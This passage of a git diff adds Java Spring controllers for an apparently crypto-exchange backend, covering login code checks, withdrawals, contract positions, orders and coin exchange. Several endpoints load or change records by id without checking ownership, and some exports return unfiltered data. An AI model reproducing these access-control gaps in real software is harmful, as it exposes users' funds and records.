(!tAppUser.getCode().equalsIgnoreCase(redisCache.getCacheObject(emailLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + redisCache.deleteObject(emailLoginkey); + } + /** + * 手机号登录 + */ + if (LoginOrRegisterEnum.PHONE.getCode().equals(signType)) { + String phone = tAppUser.getPhone(); + TAppUser tAppUser1 = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getPhone, phone)); + if (null == tAppUser1) { + return MessageUtils.message("login.phone.not_register"); + } + String phoneLoginkey = String.format("%s%s", CachePrefix.SMS_CODE.getPrefix()+UserCodeTypeEnum.LOGIN.name(), phone); + if (Boolean.TRUE.equals(redisCache.hasKey(phoneLoginkey))) { + if (!tAppUser.getCode().equalsIgnoreCase(redisCache.getCacheObject(phoneLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + redisCache.deleteObject(phoneLoginkey); + } + /** + * 普通登录 + */ + if (LoginOrRegisterEnum.LOGIN.getCode().equals(signType)) { + String loginName=tAppUser.getLoginName(); + String phone = tAppUser.getPhone(); + String email = tAppUser.getEmail(); + String address = tAppUser.getAddress(); + LambdaQueryWrapper tAppUserLambdaQueryWrapper = new LambdaQueryWrapper<>(); + tAppUserLambdaQueryWrapper + .eq(TAppUser::getLoginName,loginName) + .or() + .eq(TAppUser::getPhone,phone) + .or() + .eq(TAppUser::getEmail,email) + .or() + .eq(TAppUser::getAddress,address); + TAppUser tAppUser1 = tAppUserService.getOne(tAppUserLambdaQueryWrapper); + if (null == tAppUser1) { + return MessageUtils.message("user.not.exists"); + } + if(!SecurityUtils.matchesPassword(tAppUser.getLoginPassword(),tAppUser1.getLoginPassword())){ + return MessageUtils.message("user.not.exists"); + } + return validateCode(tAppUser.getCode(), msg, UserCodeTypeEnum.LOGIN.name()); + } + + return msg; + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java new file mode 100644 index 0000000..bafabfc --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java @@ -0,0 +1,24 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.controller.BaseController; + + +/** + * 用户信息Controller + * + * @author ruoyi + * @date 2023-07-04 + */ +@RestController +@RequestMapping("/api/record") +public class TAppWalletRecordController extends ApiBaseController +{ + @Autowired + private ITAppWalletRecordService tAppWalletRecordService; + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWithdrawController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWithdrawController.java new file mode 100644 index 0000000..b1497a4 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWithdrawController.java @@ -0,0 +1,134 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.vo.WithdrawFreezeVO; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; + +@Slf4j +@RestController +@RequestMapping("/api/withdraw") +public class TAppWithdrawController extends ApiBaseController { + + + @Resource + private ITWithdrawService withdrawService; + @Resource + private RedisUtil redisUtil; + @Value("${admin-redis-stream.names}") + private String redisStreamNames; + @Resource + private RedisCache redisCache; + /** + * 用户提现 + * + * @param amount + * @param coinType + * @param pwd + * @param adress + * @param coin + * @param request + * @return + */ + @PostMapping("submit") + @Transactional + public AjaxResult submit(BigDecimal amount, String coinType, String pwd, String adress, String coin, HttpServletRequest request) { + String msg = withdrawService.submit(amount,coinType,pwd,adress,coin); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + //socket 通知后台 + HashMap object = new HashMap<>(); + object.put(CacheConstants.WITHDRAW_KEY,CacheConstants.WITHDRAW_KEY); + redisUtil.addStream(redisStreamNames,object); + return AjaxResult.success(); + } + + @ApiOperation(value = "我的提现列表") + @PostMapping("/list") + public TableDataInfo list( Integer status) { + TWithdraw appWithdraw = new TWithdraw(); + appWithdraw.setUserId(getStpUserId()); + appWithdraw.setStatus(status); + startPage(); + List list = withdrawService.selectTWithdrawList(appWithdraw); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(list); + } + @ApiOperation(value = "详情") + @PostMapping("/detail") + public AjaxResult detail(Long id) { + TWithdraw result = withdrawService.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, id)); + return AjaxResult.success(result); + } + + @ApiOperation(value = "体现锁定资产list") + @PostMapping("/freezeList") + public AjaxResult freezeList(Integer status) { + TWithdraw appWithdraw = new TWithdraw(); + appWithdraw.setUserId(getStpUserId()); + appWithdraw.setStatus(3); + List withdrawFreezeVO = withdrawService.selectFreezeList(appWithdraw); + return AjaxResult.success(withdrawFreezeVO); + } + + @ApiOperation(value = "获取当前用户的体现状态") + @PostMapping("/getWithdrawStatus") + public AjaxResult getWithdrawStatus() { + Boolean flag = withdrawService.getWithdrawStatus(StpUtil.getLoginIdAsLong()); + return AjaxResult.success(flag); + } + + + @ApiOperation(value = "保存地址") + @PostMapping("/saveCacheAddress") + public AjaxResult saveCacheAddress(@RequestBody HashMap map) { + Long userId = StpUtil.getLoginIdAsLong(); + String address = map.get("address"); + String coin = map.get("coin"); + if(StringUtils.isNotEmpty(address)){ + redisCache.setCacheObject(CachePrefix.USER_ADDRESS_WITHDRAW.getPrefix()+userId+coin,address); + }else { + address= redisCache.getCacheObject(CachePrefix.USER_ADDRESS_WITHDRAW.getPrefix()+userId+coin); + } + return AjaxResult.success(address); + } + + @ApiOperation(value = "查看用户") + @PostMapping("/haveCacheAddress") + public AjaxResult haveCacheAddress(@RequestBody HashMap map) { + String coin = map.get("coin"); + Long userId = StpUtil.getLoginIdAsLong(); + return AjaxResult.success(redisCache.getCacheObject(CachePrefix.USER_ADDRESS_WITHDRAW.getPrefix() + userId+coin)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java new file mode 100644 index 0000000..93f4d5d --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java @@ -0,0 +1,53 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.List; + +/** + * U本位合约币种Controller + * + * @author michael + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/api/contract/coin") +public class TContractCoinController extends ApiBaseController +{ + @Autowired + private ITContractCoinService contractCoinService; + + + /** + * 获取玩家资产详细信息 + */ + @ApiOperation(value = "u本位币种列表") + @PostMapping(value = "/list") + public TableDataInfo list() + { + TContractCoin tContractCoin=new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setVisible(0L); + startPage(); + List list=contractCoinService.selectTContractCoinList(tContractCoin); + return getDataTable(list); + } + @ApiOperation(value = "u本位币种列表") + @PostMapping(value = "/getCoinList") + public AjaxResult getCoinList() + { + List list=contractCoinService.getCoinList(); + return AjaxResult.success(list); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java new file mode 100644 index 0000000..1998fcd --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java @@ -0,0 +1,71 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TContractLoss; +import com.ruoyi.bussiness.service.ITContractLossService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * U本位仓位Controller + * + * @author michael + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/api/contract/loss") +public class TContractLossController extends ApiBaseController { + @Autowired + private ITContractLossService contractLossService; + + + @ApiOperation(value = "止盈止损列表") + @PostMapping("/list") + @ResponseBody + public TableDataInfo list() { + TContractLoss contractLoss = new TContractLoss(); + contractLoss.setUserId(getStpUserId()); + contractLoss.setStatus(0); + startPage(); + List list = contractLossService.selectTContractLossList(contractLoss); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(list); + } + + @ApiOperation(value = "撤销止盈止损") + @PostMapping("/cancel") + @ResponseBody + public AjaxResult cancel(Long id) { + TContractLoss contractLoss = contractLossService.selectTContractLossById(id); + contractLoss.setStatus(2); + contractLossService.updateTContractLoss(contractLoss); + return AjaxResult.success(); + } + + @ApiOperation(value = "止盈止损") + @PostMapping("/sett") + @ResponseBody + public AjaxResult sett(@RequestBody TContractLoss contractLoss) { + String result = contractLossService.cntractLossSett( contractLoss); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } +} + diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java new file mode 100644 index 0000000..df0abe6 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java @@ -0,0 +1,88 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TContractOrder; +import com.ruoyi.bussiness.domain.dto.TontractRequstDto; +import com.ruoyi.bussiness.service.ITContractOrderService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * U本位委托Controller + * + * @author michael + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/api/contract/order") +public class TContractOrderController extends ApiBaseController { + @Autowired + private ITContractOrderService contractOrderServicer; + + + /** + * @param 币种 + * @param 杠杆 + * @param 价格 + * @param 数量(整数) + * @param 类型 + * @param 委托类型 + * @return + */ + @ApiOperation(value = "U本位下单接口") + @PostMapping("/submit") + public AjaxResult submit(@RequestBody TontractRequstDto dto) { + String result =contractOrderServicer.buyContractOrder(dto.getSymbol(), dto.getLeverage(), dto.getDelegatePrice(), dto.getDelegateTotal(), getStpUserId(), dto.getType(), dto.getDelegateType()); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + + @ApiOperation(value = "委托订单列表") + @PostMapping("/list") + public TableDataInfo list(Integer status) { + TContractOrder tContractOrder = new TContractOrder(); + tContractOrder.setUserId(getStpUserId()); + tContractOrder.setStatus(status); + startPage(); + List list = contractOrderServicer.selectTContractOrderList(tContractOrder); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(list); + } + @ApiOperation(value = "委托订单详情") + @PostMapping("/detail") + public AjaxResult detail(Long id) { + + return AjaxResult.success(contractOrderServicer.selectTContractOrderById(id)); + } + @ApiOperation(value = "取消委托") + @PostMapping("/canCelOrder") + public AjaxResult canCelOrder(Long id) { + + String result=contractOrderServicer.canCelOrder(id); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java new file mode 100644 index 0000000..e8bf753 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TContractPosition; +import com.ruoyi.bussiness.service.ITContractPositionService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * U本位仓位Controller + * + * @author michael + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/api/contract/position") +public class TContractPositionController extends ApiBaseController { + @Autowired + private ITContractPositionService contractPositionService; + + @ApiOperation(value = "持仓列表") + @PostMapping("/list") + @ResponseBody + public TableDataInfo list(String symbol, Integer status) { + Long userId = getStpUserId(); + TContractPosition contractPosition = new TContractPosition(); + contractPosition.setUserId(userId); + contractPosition.setSymbol(symbol); + contractPosition.setStatus(status); + startPage(); + List list = contractPositionService.selectTContractPositionList(contractPosition); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + Long days= Objects.nonNull(t.getDeliveryDays())?t.getDeliveryDays()*3600*24*1000:0L; + params.put("subTime", Objects.nonNull(t.getSubTime())?t.getSubTime().getTime()+days:0L); + Long sub=System.currentTimeMillis()-t.getCreateTime().getTime(); + Long result=t.getDeliveryDays()*3600*24*1000-sub; + if(result<0){ + result=0L; + } + params.put("deliveryDays", Objects.nonNull(t.getDeliveryDays())?result:0L); + t.setParams(params); + }); + } + return getDataTable(list); + } + + @ApiOperation(value = "平仓") + @PostMapping("/stopOrder") + @ResponseBody + public AjaxResult stopOrder(Long id) { + + contractPositionService.allClosePosition(id); + return AjaxResult.success(); + } + @ApiOperation(value = "调整保证金") + @PostMapping("/adjustAmount") + @ResponseBody + public AjaxResult adjustAmout(Long id, BigDecimal money, String flag) { + String result = contractPositionService.adjustAmout(id, money, flag); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + @ApiOperation(value = "rxce平仓") + @PostMapping("/stopPosition") + @ResponseBody + public AjaxResult stopPosition(Long id) { + String result = contractPositionService.verifyStopPostion(id); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + result= contractPositionService.closePosition(id); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + @ApiOperation(value = "追加保证金") + @PostMapping("/adjustPositionMargn") + @ResponseBody + public AjaxResult adjustPositionMargn(Long id, BigDecimal money) { + String result = contractPositionService.adjustPositionMargn(id,money); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + @ApiOperation(value = "追加本金") + @PostMapping("/adjustPositionAmout") + @ResponseBody + public AjaxResult adjustPositionAmout(Long id, BigDecimal money) { + String result = contractPositionService.adjustPositionAmout(id,money); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java new file mode 100644 index 0000000..03c8dfc --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java @@ -0,0 +1,160 @@ +package com.ruoyi.web.controller.bussiness; + +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.domain.TCurrencyOrder; +import com.ruoyi.bussiness.service.ITAppUserDetailService; +import com.ruoyi.bussiness.service.ITCurrencyOrderService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.annotation.RepeatSubmit; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 币币交易订单Controller + * + * @author ruoyi + * @date 2023-07-25 + */ +@RestController +@RequestMapping("/api/currency/order") +public class TCurrencyOrderController extends ApiBaseController +{ + @Autowired + private ITCurrencyOrderService tCurrencyOrderService; + @Resource + private ITAppUserDetailService tAppUserDetailService; + + /** + * 查询币币交易订单列表 + * @param tCurrencyOrder + * @return + */ + @PostMapping("/orderList") + public TableDataInfo orderList(TCurrencyOrder tCurrencyOrder) + { + tCurrencyOrder.setUserId(getAppUser().getUserId()); + startPage(); + List list = tCurrencyOrderService.selectOrderList(tCurrencyOrder); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("dealTime", Objects.nonNull(t.getDealTime())?t.getDealTime().getTime():0l); + params.put("delegateTime",Objects.nonNull(t.getDelegateTime())?t.getDelegateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(list); + } + + /** + * 撤单 + * @param id + * @return + */ + @PostMapping("/cancelOrder") + public AjaxResult cancelOrder(Long id) { + + TCurrencyOrder currencyOrder = tCurrencyOrderService.getOne((new LambdaQueryWrapper() + .eq(TCurrencyOrder::getUserId,getStpUserId()).eq(TCurrencyOrder::getId,id) + .eq(TCurrencyOrder::getStatus,0) + )); + if(currencyOrder !=null) { + tCurrencyOrderService.canCelOrder(currencyOrder); + }else { + AjaxResult.error("status is error"); + } + return AjaxResult.success(); + } + + + /** + * 导出币币交易订单列表 + */ + @PostMapping("/export") + public void export(HttpServletResponse response, TCurrencyOrder tCurrencyOrder) + { + List list = tCurrencyOrderService.selectTCurrencyOrderList(tCurrencyOrder); + ExcelUtil util = new ExcelUtil(TCurrencyOrder.class); + util.exportExcel(response, list, "币币交易订单数据"); + } + + /** + * 获取币币交易订单详细信息 + */ + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tCurrencyOrderService.selectTCurrencyOrderById(id)); + } + + //币币交易保存 + @RepeatSubmit(interval = 5000, message = "请求过于频繁") + @PostMapping("submit") + public AjaxResult submit(@RequestBody TCurrencyOrder tCurrencyOrder) { + TAppUser user = getAppUser(); + if(user!=null){ + TAppUserDetail userDetail = tAppUserDetailService.getOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, user.getUserId())); + if (userDetail!=null){ + Integer tradeFlag = userDetail.getTradeFlag(); + if(null!=tradeFlag){ + if(1==tradeFlag){ + if(userDetail.getTradeMessage()==null||userDetail.getTradeMessage().equals("")){ + return AjaxResult.error(MessageUtils.message("user.push.message")); + }else{ + return AjaxResult.error(userDetail.getTradeMessage()); + } + } + } + } + }else{ + return AjaxResult.error(MessageUtils.message("user.notfound")); + } + String result = tCurrencyOrderService.submitCurrencyOrder(user, tCurrencyOrder); + if("success".equals(result)){ + return AjaxResult.success(); + }else{ + return AjaxResult.error(result); + } + } + + @PostMapping("/orderHisList") + public TableDataInfo orderHisList(TCurrencyOrder tCurrencyOrder) + { + tCurrencyOrder.setUserId(getAppUser().getUserId()); + startPage(); + tCurrencyOrder.setType(1); + tCurrencyOrder.setStatus(1); + List list = tCurrencyOrderService.selectOrderList(tCurrencyOrder); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("dealTime", Objects.nonNull(t.getDealTime())?t.getDealTime().getTime():0l); + params.put("delegateTime",Objects.nonNull(t.getDelegateTime())?t.getDelegateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(list); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java new file mode 100644 index 0000000..8b0430e --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java @@ -0,0 +1,89 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 币币交易币种配置Controller + * + * @author ruoyi + * @date 2023-07-25 + */ +@RestController +@RequestMapping("/api/currency/symbol") +public class TCurrencySymbolController extends ApiBaseController +{ + + @Autowired + private ITCurrencySymbolService tCurrencySymbolService; + + /** + * 查询币币交易币种配置列表 + */ + @PostMapping("/list") + public AjaxResult list(TCurrencySymbol tCurrencySymbol) + { + List list = tCurrencySymbolService.getSymbolList(); + return AjaxResult.success(list); + } + + /** + * 导出币币交易币种配置列表 + */ + @PostMapping("/export") + public void export(HttpServletResponse response, TCurrencySymbol tCurrencySymbol) + { + List list = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + ExcelUtil util = new ExcelUtil(TCurrencySymbol.class); + util.exportExcel(response, list, "币币交易币种配置数据"); + } + + /** + * 获取币币交易币种配置详细信息 + */ + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tCurrencySymbolService.selectTCurrencySymbolById(id)); + } + + /** + * 新增币币交易币种配置 + */ + @PostMapping + public AjaxResult add(@RequestBody TCurrencySymbol tCurrencySymbol) + { + return toAjax(tCurrencySymbolService.insertTCurrencySymbol(tCurrencySymbol)); + } + + /** + * 修改币币交易币种配置 + */ + @PutMapping + public AjaxResult edit(@RequestBody TCurrencySymbol tCurrencySymbol) + { + return toAjax(tCurrencySymbolService.updateTCurrencySymbol(tCurrencySymbol)); + } + + /** + * 删除币币交易币种配置 + */ + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tCurrencySymbolService.deleteTCurrencySymbolByIds(ids)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java new file mode 100644 index 0000000..b0589e8 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java @@ -0,0 +1,152 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import javax.annotation.Resource; +import javax.security.auth.callback.LanguageCallback; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.google.common.collect.Maps; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; +import com.ruoyi.bussiness.domain.TSymbolManage; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITExchangeCoinRecordService; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.apache.commons.collections4.CollectionUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 币种兑换记录Controller + * + * @author ruoyi + * @date 2023-07-07 + */ +@RestController +@RequestMapping("/api/texchange") +public class TExchangeCoinRecordController extends ApiBaseController +{ + @Autowired + private ITExchangeCoinRecordService tExchangeCoinRecordService; + @Autowired + private ITAppAssetService assetService; + @Resource + private ITSymbolManageService tSymbolManageService; + + @Resource + private RedisCache redisCache; + + /** + * 查询币种兑换记录列表 + */ + @PostMapping("/list") + public TableDataInfo list(TExchangeCoinRecord tExchangeCoinRecord) + { + startPage(); + List list = tExchangeCoinRecordService.selectTExchangeCoinRecordList(tExchangeCoinRecord); + return getDataTable(list); + } + + + @PostMapping("/export") + public void export(HttpServletResponse response, TExchangeCoinRecord tExchangeCoinRecord) + { + List list = tExchangeCoinRecordService.selectTExchangeCoinRecordList(tExchangeCoinRecord); + ExcelUtil util = new ExcelUtil(TExchangeCoinRecord.class); + util.exportExcel(response, list, "币种兑换记录数据"); + } + + /** + * 获取币种兑换记录详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tExchangeCoinRecordService.selectTExchangeCoinRecordById(id)); + } + + + /** + * 币种兑换 + * @return + */ + @PostMapping("/currencyExchange") + public AjaxResult currencyExchange( @RequestBody Map params){ + int i = 0; + if (StringUtils.isNotNull(params)){ + String fromSymbol = String.valueOf(params.get("fromSymbol")); + String toSymbol =String.valueOf(params.get("toSymbol")); + BigDecimal total = new BigDecimal(String.valueOf(params.get("total"))); + + BigDecimal from =fromSymbol.toLowerCase().equals("usdt")?new BigDecimal(1): redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+fromSymbol.toLowerCase()); + BigDecimal to = toSymbol.toLowerCase().equals("usdt")?new BigDecimal(1):redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+toSymbol.toLowerCase()); + if(from==null&&to==null){ + return AjaxResult.error("未匹配到三方提供的汇率! origin:{}", fromSymbol+toSymbol); + } + BigDecimal thirdRate= from.divide(to, 8, RoundingMode.DOWN); + BigDecimal multiply = total.multiply(thirdRate); + + if (StringUtils.isNotBlank(fromSymbol) && StringUtils.isNotBlank(toSymbol) && Objects.nonNull(total) && total.compareTo(BigDecimal.ZERO) > 0){ + TSymbolManage symbolManage = tSymbolManageService.getOne(new LambdaQueryWrapper().eq(TSymbolManage::getSymbol, toSymbol)); + if (Objects.nonNull(symbolManage)){ + if (multiply.compareTo(symbolManage.getMinChargeNum())<0){ + return 